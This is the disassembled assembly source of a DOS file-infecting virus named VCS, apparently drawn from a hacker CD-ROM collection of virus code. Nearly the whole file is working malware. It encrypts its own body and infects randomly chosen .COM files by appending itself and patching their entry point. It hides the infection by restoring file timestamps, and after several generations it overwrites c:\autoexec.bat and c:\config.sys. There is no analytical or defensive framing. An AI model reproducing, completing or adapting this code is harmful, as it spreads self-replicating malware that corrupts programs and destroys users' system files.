home *** CD-ROM | disk | FTP | other *** search
/ Everything For A Hacker / 19990506-[HACK].iso / VIRI / VCS-COLL.RAR / VCSPARAN.RAR / VCSPARAN.ASM < prev    next >
Assembly Source File  |  1992-08-06  |  14KB  |  535 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    VCS                         ██
  7. ;██                                         ██
  8. ;██      Created:   6-Aug-92                             ██
  9. ;██      Passes:    5           Analysis Options on: QRS                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    9Ah            ; (0000:009A=126h)
  14. data_6e        equ    6Ch            ; (0040:006C=0C35Eh)
  15. psp_cmd_size    equ    80h            ; (8846:0080=0)
  16. data_12e    equ    535h            ;*(8846:0535=0)
  17. data_13e    equ    537h            ;*(8846:0537=0)
  18. data_14e    equ    59Ch            ;*(8846:059C=0)
  19. data_33e    equ    100h            ;*(9846:0100=0)
  20. data_34e    equ    533h            ;*(9846:0533=0)
  21.  
  22. seg_a        segment    byte public
  23.         assume    cs:seg_a, ds:seg_a
  24.  
  25.  
  26.         org    100h
  27.  
  28. vcs        proc    far
  29.  
  30. start:
  31.         call    sub_2            ; (0117)
  32.  
  33. vcs        endp
  34.  
  35. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  36. ;                   SUBROUTINE
  37. ;
  38. ;         Called from:     8846:011D, 0288
  39. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  40.  
  41. sub_1        proc    near
  42.         mov    cx,40Fh
  43.         mov    ah,byte ptr ds:[52Fh][si]    ; (8846:052F=0)
  44.         lea    di,[si+120h]        ; Load effective addr
  45.         mov    si,di
  46.  
  47. locloop_1:                    ;  xref 8846:0114
  48.         lodsb                ; String [si] to al
  49.         xor    al,ah
  50.         stosb                ; Store al to es:[di]
  51.         loop    locloop_1        ; Loop if cx > 0
  52.  
  53.         retn
  54. sub_1        endp
  55.  
  56.  
  57. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  58.  
  59. ;                   SUBROUTINE
  60. ;
  61. ;         Called from:     8846:0100
  62. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  63.  
  64. sub_2        proc    near
  65.         pop    si
  66.         sub    si,103h
  67.         push    si
  68.         call    sub_1            ; (0103)
  69.         pop    si
  70.         sub    ax,ax
  71.         push    ax
  72.         pop    es
  73.         mov    ax,es:data_1e        ; (0000:009A=126h)
  74.         cmp    ax,1000h
  75.         jae    loc_2            ; Jump if above or =
  76.         lea    dx,[si+587h]        ; Load effective addr
  77.         mov    ah,1Ah
  78.         int    21h            ; DOS Services  ah=function 1Ah
  79.                         ;  set DTA(disk xfer area) ds:dx
  80.         inc    byte ptr ds:[52Eh][si]    ; (8846:052E=0)
  81.         call    sub_6            ; (019E)
  82.         call    sub_3            ; (0157)
  83. loc_2:                        ;  xref 8846:012C
  84.         push    ds
  85.         pop    es
  86.         mov    dx,psp_cmd_size        ; (8846:0080=0)
  87.         mov    ah,1Ah
  88.         int    21h            ; DOS Services  ah=function 1Ah
  89.                         ;  set DTA(disk xfer area) ds:dx
  90.         lea    si,[si+530h]        ; Load effective addr
  91.         mov    di,100h            ; (8846:0100=0E8h)
  92.         movsw                ; Mov [si] to es:[di]
  93.         movsw                ; Mov [si] to es:[di]
  94.         movsb                ; Mov [si] to es:[di]
  95.         db     68h, 00h, 01h,0C3h
  96.  
  97. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  98. ;
  99. ;         Called from:     8846:013D
  100.  
  101. sub_3:
  102.         mov    al,byte ptr ds:[52Eh][si]    ; (8846:052E=0)
  103.         cmp    al,data_9[si]        ; (8846:050F=6)
  104.         jb    loc_ret_3        ; Jump if below
  105.         call    sub_4            ; (0171)
  106.         lea    dx,[si+30Eh]        ; Load effective addr
  107.         mov    ah,9
  108.         int    21h            ; DOS Services  ah=function 09h
  109.                         ;  display char string at ds:dx
  110.         mov    ah,0
  111.         int    16h            ; Keyboard i/o  ah=function 00h
  112.                         ;  get keybd char in al, ah=scan
  113.  
  114. loc_ret_3:                    ;  xref 8846:015F
  115.         retn
  116.  
  117. sub_2        endp
  118.  
  119.  
  120. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  121. ;                   SUBROUTINE
  122. ;
  123. ;         Called from:     8846:0161
  124. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  125.  
  126. sub_4        proc    near
  127.         lea    dx,[si+510h]        ; Load effective addr
  128.         call    sub_5            ; (0180)
  129.         lea    dx,[si+520h]        ; Load effective addr
  130.         call    sub_5            ; (0180)
  131.         retn
  132. sub_4        endp
  133.  
  134.  
  135. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  136. ;                   SUBROUTINE
  137. ;
  138. ;         Called from:     8846:0175, 017C
  139. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  140.  
  141. sub_5        proc    near
  142.         xor    cx,cx            ; Zero register
  143.         mov    ah,3Ch            ; '<'
  144.         int    21h            ; DOS Services  ah=function 3Ch
  145.                         ;  create/truncate file @ ds:dx
  146.         jc    loc_ret_4        ; Jump if carry Set
  147.         mov    bp,ax
  148.         lea    dx,[si+30Eh]        ; Load effective addr
  149.         mov    cx,200h
  150.         mov    bx,bp
  151.         mov    ah,40h            ; '@'
  152.         int    21h            ; DOS Services  ah=function 40h
  153.                         ;  write file  bx=file handle
  154.                         ;   cx=bytes from ds:dx buffer
  155.         mov    bx,bp
  156.         mov    ah,3Eh            ; '>'
  157.         int    21h            ; DOS Services  ah=function 3Eh
  158.                         ;  close file, bx=file handle
  159.  
  160. loc_ret_4:                    ;  xref 8846:0186
  161.         retn
  162. sub_5        endp
  163.  
  164.  
  165. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  166. ;                   SUBROUTINE
  167. ;
  168. ;         Called from:     8846:013A
  169. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  170.  
  171. sub_6        proc    near
  172.         mov    cx,0Ah
  173.  
  174.  
  175. locloop_5:                    ;  xref 8846:01A6
  176.         push    cx
  177.         call    sub_7            ; (01A9)
  178.         pop    cx
  179.         loop    locloop_5        ; Loop if cx > 0
  180.  
  181.         retn
  182. sub_6        endp
  183.  
  184.  
  185. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  186. ;                   SUBROUTINE
  187. ;
  188. ;         Called from:     8846:01A2
  189. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  190.  
  191. sub_7        proc    near
  192.         mov    ax,40h
  193.         mov    es,ax
  194.         mov    word ptr ds:data_12e[si],0    ; (8846:0535=0)
  195.         test    byte ptr es:data_6e,7    ; (0040:006C=81h)
  196.         jz    loc_6            ; Jump if zero
  197.         mov    byte ptr ds:data_13e[si],5Ch    ; (8846:0537=0) '\'
  198.         inc    word ptr ds:data_12e[si]    ; (8846:0535=0)
  199.         call    sub_9            ; (01E7)
  200. loc_6:                        ;  xref 8846:01BA
  201.         call    sub_10            ; (0225)
  202.         retn
  203. sub_7        endp
  204.  
  205.  
  206. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  207. ;                   SUBROUTINE
  208. ;
  209. ;         Called from:     8846:021B, 0258
  210. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  211.  
  212. sub_8        proc    near
  213.         lea    bx,[si+5A5h]        ; Load effective addr
  214.         lea    di,[si+537h]        ; Load effective addr
  215.         add    di,ds:data_12e[si]    ; (8846:0535=0)
  216. loc_7:                        ;  xref 8846:01E4
  217.         mov    al,[bx]
  218.         inc    bx
  219.         mov    [di],al
  220.         inc    di
  221.         inc    word ptr ds:data_12e[si]    ; (8846:0535=0)
  222.         or    al,al            ; Zero ?
  223.         jnz    loc_7            ; Jump if not zero
  224.         retn
  225. sub_8        endp
  226.  
  227.  
  228. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  229. ;                   SUBROUTINE
  230. ;
  231. ;         Called from:     8846:01C5
  232.  
  233. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  234.  
  235. sub_9        proc    near
  236.         lea    bx,[si+537h]        ; Load effective addr
  237.         mov    dx,bx
  238.         add    bx,ds:data_12e[si]    ; (8846:0535=0)
  239.         mov    word ptr [bx],2E2Ah
  240.         mov    word ptr [bx+2],2Ah
  241.         mov    cx,10h
  242.         mov    ah,4Eh            ; 'N'
  243. loc_8:                        ;  xref 8846:0219
  244.         int    21h            ; DOS Services  ah=function 4Fh
  245.                         ;  find next filename match
  246.         jc    loc_ret_11        ; Jump if carry Set
  247.         test    byte ptr ds:data_14e[si],10h    ; (8846:059C=0)
  248.         jz    loc_9            ; Jump if zero
  249.         ror    bp,1            ; Rotate
  250.         xor    bp,es:data_6e        ; (0040:006C=0C38Eh)
  251.         test    bp,0Fh
  252.         jz    loc_10            ; Jump if zero
  253. loc_9:                        ;  xref 8846:0208
  254.         mov    ah,4Fh            ; 'O'
  255.         jmp    short loc_8        ; (01FF)
  256. loc_10:                        ;  xref 8846:0215
  257.         call    sub_8            ; (01CC)
  258.         mov    word ptr [di-1],5Ch
  259.  
  260. loc_ret_11:                    ;  xref 8846:0201
  261.         retn
  262. sub_9        endp
  263.  
  264.  
  265. loc_ret_12:                    ;  xref 8846:0243
  266.         retn
  267.  
  268. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  269. ;                   SUBROUTINE
  270. ;
  271. ;         Called from:     8846:01C8
  272. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  273.  
  274. sub_10        proc    near
  275.         lea    bx,[si+537h]        ; Load effective addr
  276.         mov    dx,bx
  277.         add    bx,ds:data_12e[si]    ; (8846:0535=0)
  278.         mov    word ptr [bx],2E2Ah
  279.         mov    word ptr [bx+2],4F43h
  280.         mov    word ptr [bx+4],4Dh
  281.         xor    cx,cx            ; Zero register
  282.         mov    ah,4Eh            ; 'N'
  283.         int    21h            ; DOS Services  ah=function 4Eh
  284.                         ;  find 1st filenam match @ds:dx
  285.         jc    loc_ret_12        ; Jump if carry Set
  286. loc_13:                        ;  xref 8846:0256
  287.         ror    bp,1            ; Rotate
  288.         xor    bp,es:data_6e        ; (0040:006C=0C396h)
  289.         test    bp,0Fh
  290.  
  291.         jz    loc_14            ; Jump if zero
  292.         mov    ah,4Fh            ; 'O'
  293.         int    21h            ; DOS Services  ah=function 4Fh
  294.                         ;  find next filename match
  295.         jnc    loc_13            ; Jump if carry=0
  296. loc_14:                        ;  xref 8846:0250
  297.         call    sub_8            ; (01CC)
  298.         call    sub_11            ; (025F)
  299.         retn
  300. sub_10        endp
  301.  
  302.  
  303. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  304. ;                   SUBROUTINE
  305. ;
  306. ;         Called from:     8846:025B
  307. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  308.  
  309. sub_11        proc    near
  310.         mov    ax,40h
  311.         mov    es,ax
  312.         mov    dl,es:data_6e        ; (0040:006C=9Bh)
  313.         or    dl,dl            ; Zero ?
  314.         jnz    loc_15            ; Jump if not zero
  315.         inc    dl
  316. loc_15:                        ;  xref 8846:026B
  317.         mov    ax,ds
  318.         add    ax,1000h
  319.         mov    es,ax
  320.         mov    byte ptr ds:[52Fh][si],dl    ; (8846:052F=0)
  321.         push    si
  322.         lea    di,[si+100h]        ; Load effective addr
  323.         mov    si,di
  324.         mov    cx,435h
  325.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  326.         pop    si
  327.         push    si
  328.         call    sub_1            ; (0103)
  329.         pop    si
  330.         lea    dx,[si+537h]        ; Load effective addr
  331.         mov    ax,3D02h
  332.         int    21h            ; DOS Services  ah=function 3Dh
  333.                         ;  open file, al=mode,name@ds:dx
  334.         jc    loc_17            ; Jump if carry Set
  335.         mov    bp,ax
  336.         push    es
  337.         pop    ds
  338.         lea    dx,[si+530h]        ; Load effective addr
  339.         mov    cx,5
  340.         mov    bx,bp
  341.         mov    ah,3Fh            ; '?'
  342.         int    21h            ; DOS Services  ah=function 3Fh
  343.                         ;  read file, bx=file handle
  344.                         ;   cx=bytes to ds:dx buffer
  345.         mov    ax,ds:data_34e[si]    ; (9846:0533=0)
  346.         cmp    ax,0C350h
  347.         je    loc_16            ; Jump if equal
  348.  
  349.         mov    bx,bp
  350.         xor    cx,cx            ; Zero register
  351.         xor    dx,dx            ; Zero register
  352.         mov    ax,4202h
  353.         int    21h            ; DOS Services  ah=function 42h
  354.                         ;  move file ptr, bx=file handle
  355.                         ;   al=method, cx,dx=offset
  356.         mov    di,ax
  357.         add    di,100h
  358.         mov    bx,bp
  359.         mov    ax,5700h
  360.         int    21h            ; DOS Services  ah=function 57h
  361.                         ;  get file date+time, bx=handle
  362.                         ;   returns cx=time, dx=time
  363.         push    cx
  364.         push    dx
  365.         lea    dx,[si+100h]        ; Load effective addr
  366.         mov    cx,435h
  367.         mov    bx,bp
  368.         mov    ah,40h            ; '@'
  369.         int    21h            ; DOS Services  ah=function 40h
  370.                         ;  write file  bx=file handle
  371.                         ;   cx=bytes from ds:dx buffer
  372.         mov    bx,bp
  373.         xor    cx,cx            ; Zero register
  374.         xor    dx,dx            ; Zero register
  375.         mov    ax,4200h
  376.         int    21h            ; DOS Services  ah=function 42h
  377.                         ;  move file ptr, bx=file handle
  378.                         ;   al=method, cx,dx=offset
  379.         mov    bx,data_33e        ; (9846:0100=0)
  380.         mov    byte ptr [bx],0B8h
  381.         mov    [bx+1],di
  382.         mov    word ptr [bx+3],0C350h
  383.         mov    dx,bx
  384.         mov    cx,5
  385.         mov    bx,bp
  386.         mov    ah,40h            ; '@'
  387.         int    21h            ; DOS Services  ah=function 40h
  388.                         ;  write file  bx=file handle
  389.                         ;   cx=bytes from ds:dx buffer
  390.         pop    dx
  391.         pop    cx
  392.         mov    bx,bp
  393.         mov    ax,5701h
  394.         int    21h            ; DOS Services  ah=function 57h
  395.                         ;  set file date+time, bx=handle
  396.                         ;   cx=time, dx=time
  397. loc_16:                        ;  xref 8846:02AF
  398.         mov    bx,bp
  399.         mov    ah,3Eh            ; '>'
  400.         int    21h            ; DOS Services  ah=function 3Eh
  401.                         ;  close file, bx=file handle
  402. loc_17:                        ;  xref 8846:0295
  403.         push    cs
  404.         pop    ds
  405.         retn
  406.  
  407. sub_11        endp
  408.  
  409.         and    al,1Ah
  410.         add    [bx+si],cl
  411.         db     6Dh,0DCh,0DEh,0F1h, 95h, 6Bh
  412.         db     4Bh,0F8h,0FEh, 8Ch, 10h, 42h
  413.         db     4Ah, 15h,0D3h, 2Fh, 50h,0F2h
  414.         db     9Ah, 1Bh,0CDh, 80h,0A1h, 59h
  415.         db     4Dh, 24h, 5Fh, 6Eh, 55h, 30h
  416.         db    0D4h, 8Ch,0D3h,0F9h, 16h, 4Fh
  417.         db    0C8h, 32h, 1Ch,0BCh, 34h, 8Ch
  418.         db    0CAh, 78h, 44h, 91h, 3Eh, 46h
  419.         db    0B8h,0BEh, 5Bh,0C5h, 98h,0E0h
  420.         db     95h, 68h, 19h,0B2h,0FCh,0B6h
  421.         db    0CAh,0B6h, 8Dh,0C5h, 04h, 51h
  422.         db    0B5h,0F2h, 91h, 2Ah, 27h,0E3h
  423.         db     9Ch,0C6h,0E1h,0C1h,0DBh, 5Dh
  424.         db     7Ah,0AFh,0F9h, 00h,0AFh, 8Fh
  425.         db     46h,0EFh, 2Eh,0F6h,0A3h, 35h
  426.         db    0A3h, 6Dh,0A8h, 87h, 02h,0EBh
  427.         db     19h, 5Ch, 14h, 91h, 8Ah, 4Dh
  428.         db     45h,0A6h, 4Eh,0B0h,0ADh,0D4h
  429.         db    0A6h, 71h, 5Eh,0A1h, 29h, 32h
  430.         db    0EFh, 31h, 6Fh,0A4h, 46h, 3Ch
  431.         db     02h, 25h,0ABh, 4Bh, 88h, 9Ch
  432.         db     0Bh, 38h, 2Ah, 92h, 8Ah,0E5h
  433.         db     49h, 92h, 4Dh, 3Dh, 62h,0C4h
  434.         db     87h, 6Ah, 3Fh,0C5h,0C3h, 56h
  435.         db     60h,0CBh, 71h, 65h,0AAh,0F7h
  436.         db    0B5h, 71h, 50h,0FAh, 6Ch, 07h
  437.         db    0FFh,0EDh, 81h,0E2h, 4Fh, 6Bh
  438.         db     70h,0A6h, 67h,0F1h, 18h,0DFh
  439.         db    0EFh, 78h,0C6h, 3Ah, 3Ch, 52h
  440.         db     80h, 03h,0B8h, 42h, 8Fh,0E0h
  441.         db     91h,0E0h, 51h,0CEh,0A3h, 2Dh
  442.         db     3Fh, 5Ah,0A8h, 72h, 3Bh, 21h
  443.         db     9Fh, 5Fh, 1Ch, 8Bh, 7Bh, 62h
  444.         db     7Dh,0C4h, 0Fh, 46h,0C2h,0FDh
  445.         db     36h, 0Eh, 6Dh,0E2h, 47h, 11h
  446.         db    0A1h, 5Dh,0BAh, 57h,0F4h, 8Ah
  447.         db     14h, 34h, 7Bh,0FBh, 1Ah, 24h
  448.         db     11h, 2Eh, 34h,0E7h,0E8h, 4Ch
  449.         db     1Fh,0DDh, 54h, 25h,0D8h,0A5h
  450.         db    0D4h, 6Ah,0C5h,0F2h, 62h, 2Bh
  451.         db     27h,0AFh,0FEh, 91h,0BEh, 54h
  452.         db     76h,0DEh
  453.         db    0BBh, 88h, 78h,0A3h,0ECh,0F9h
  454.         db    0DCh, 41h, 24h, 79h, 2Ch,0A3h
  455.         db    0E9h, 5Bh, 75h, 3Ah, 63h, 0Dh
  456.         db     53h, 3Ah, 81h,0F7h, 38h, 15h
  457.         db     6Eh, 94h,0FDh, 37h, 34h,0D0h
  458.         db    0ADh, 01h,0B0h,0A2h, 8Fh, 09h
  459.         db    0B7h,0EBh, 73h, 91h, 88h, 8Eh
  460.         db     3Eh, 45h, 72h,0D2h,0B9h, 3Ah
  461.         db    0C7h,0F6h, 97h, 25h, 02h, 13h
  462.         db    0C6h,0D9h, 35h, 38h,0F9h, 05h
  463.         db    0B6h,0C1h, 73h, 2Ch, 0Bh,0F8h
  464.  
  465.         db     17h,0E6h, 13h,0F0h,0AEh
  466.         db    56h
  467.         db     78h, 9Fh, 78h,0EDh, 52h, 3Bh
  468.         db    0F7h, 5Eh, 1Eh,0D8h,0F9h,0E2h
  469.         db    0DFh, 40h,0E4h
  470.         db    0AFh, 93h, 13h, 47h,0B4h,0DAh
  471.         db     20h, 9Fh, 97h,0E3h, 04h
  472.         db    68h
  473. loc_20:
  474.         db    0F1h, 98h, 02h, 65h,0CAh, 0Bh
  475.         db     23h, 31h, 51h
  476. loc_21:
  477.         and    word ptr ds:[0DE07h][bx],cx    ; (8846:DE07=0)
  478.         jle    $+2Dh            ; Jump if < or =
  479.         iret                ; Interrupt return
  480.         sub    dh,byte ptr ds:[6B75h][bx+di]    ; (8846:6B75=0)
  481.         into                ; Int 4 on overflow
  482.         mov    byte ptr ds:[419Dh],al    ; (8846:419D=0)
  483.         sti                ; Enable interrupts
  484.         cmp    ah,dh
  485.         or    bh,[bx+di+51h]
  486.         cmp    al,0DAh
  487.         jcxz    loc_20            ; Jump if cx=0
  488.         pop    ss
  489. ;*        jno    loc_23            ;*Jump if not overflw
  490.         db     71h, 22h
  491.         pop    bx
  492.         xchg    ax,cx
  493.         retn    7729h
  494.         db    0C4h,0C2h,0F0h, 00h, 67h, 74h
  495.         db    0B4h, 10h,0A9h, 32h, 6Eh, 78h
  496.         db     4Eh, 3Fh, 92h, 6Ch, 09h, 8Bh
  497.         db     0Bh, 6Dh, 1Ah,0C6h, 74h, 7Ch
  498.         db     29h,0A9h, 99h
  499.         db     7Eh, 63h
  500. loc_23:
  501.         sub    byte ptr ds:[0D4EBh],0FFh    ; (8846:D4EB=0)
  502.         iret                ; Interrupt return
  503.         mov    sp,3D04h
  504.         cmp    word ptr ds:[12D6h][si],dx    ; (8846:12D6=0)
  505.         db    0C8h, 2Eh, 9Eh, 97h, 33h, 08h
  506.         db     83h,0FAh, 84h, 4Fh, 15h, 83h
  507.         db     5Bh, 0Ch, 2Fh,0E6h, 65h, 8Dh
  508.         db     10h,0C9h, 17h, 16h,0B5h, 96h
  509.         db    0B1h,0CAh, 7Bh, 84h, 71h,0D5h
  510.         db    0F3h,0E1h, 14h,0DCh, 06h,0A3h
  511.         db     93h,0A8h, 4Ah, 2Fh, 1Dh, 0Fh
  512.         db    0A5h, 6Ah, 51h, 24h, 21h,0FFh
  513.         db    0BEh
  514.         db    0A0h, 0Fh,0F0h, 9Eh, 90h, 61h
  515.         db     60h,0CFh, 41h, 42h,0A0h, 13h
  516.         db     6Ah,0F8h, 79h, 89h, 9Ah,0FCh
  517.         db    0BAh, 6Dh,0E2h, 58h, 03h, 0Dh
  518.         db    0C4h, 41h,0D2h
  519.         db     0Dh, 5Ch
  520. data_9        db    6            ; Data table (indexed access)
  521.                         ;  xref 8846:015B
  522.  
  523.         db    'c:\autoexec.bat'
  524.         db    0
  525.         db    'c:\config.sys'
  526.         db    0
  527. data_10        db    0            ; Data table (indexed access)
  528.                         ;  xref 8846:0136, 0157
  529. data_11        db    0            ; Data table (indexed access)
  530.                         ;  xref 8846:0106, 0276
  531.         db    0C3h, 00h, 00h, 00h, 00h
  532.  
  533. seg_a        ends
  534.         end    start
  535.